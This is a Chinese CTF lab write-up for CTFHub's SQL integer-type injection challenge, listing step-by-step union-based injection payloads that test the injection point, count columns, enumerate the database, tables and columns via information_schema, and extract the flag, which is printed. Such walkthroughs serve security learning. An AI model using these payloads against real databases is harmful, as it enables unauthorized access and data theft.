CTFHUB技能树之SQL——整数型注入

开启靶场,打开链接:

直接指明是SQL整数型注入,但还是来判断一下


(1)检查是否存在注入点

1 and 1=1#

返回正确

1 and 1=2#

返回错误

说明存在SQL整数型注入


(2)猜字段数

1 order by 2#

1 order by 3#

说明字段数是2


(3)爆数据库名

1 and 1=2 union select 1,database()#

得知数据库名是sqli


(4)爆表名

1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#

显示表名是news表和flag表,其中flag表是我们需要的


(5)爆列名

1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='sqli' and table_name='flag'#

得知flag表的列名是flag


(6)爆字段内容(flag)

1 and 1=2 union select 1,group_concat(flag) from sqli.flag#

成功的得到flag:

ctfhub{0bdb6d621fc76a06fde34a00}

这里用sqlmap也是可以的,但我提前交了就不想再费时间重开一遍靶场了,待会就在"字符型注入"中试试了

相关推荐
运气好好的11 小时前
Golang怎么用embed嵌入SQL文件_Golang如何将SQL迁移文件嵌入Go程序统一管理【技巧】
jvm·数据库·python
念何架构之路11 小时前
MySql常见ORM
数据库·mysql
xcLeigh12 小时前
KES数据库安全、权限、审计实战
数据库·安全·备份·权限·审计·ssl加密·密码策略
zjy2777712 小时前
c++如何实现日志文件的异步落盘功能_基于无锁队列方案【附代码】
jvm·数据库·python
河阿里12 小时前
SQL:深分页问题深度解析
数据库·sql
wang3zc12 小时前
JavaScript中函数声明位置对解析器预编译的影响
jvm·数据库·python
涤生大数据12 小时前
AI时代,SQL该何去何从?
数据库·人工智能·sql
yexuhgu13 小时前
C#怎么使用Tuple元组返回多个值_C#如何简化方法返回值【基础】
jvm·数据库·python
HalvmånEver13 小时前
MySQL的索引
android·linux·数据库·学习·mysql
qq_4142565713 小时前
JavaScript中类继承中super关键字的调用执行逻辑
jvm·数据库·python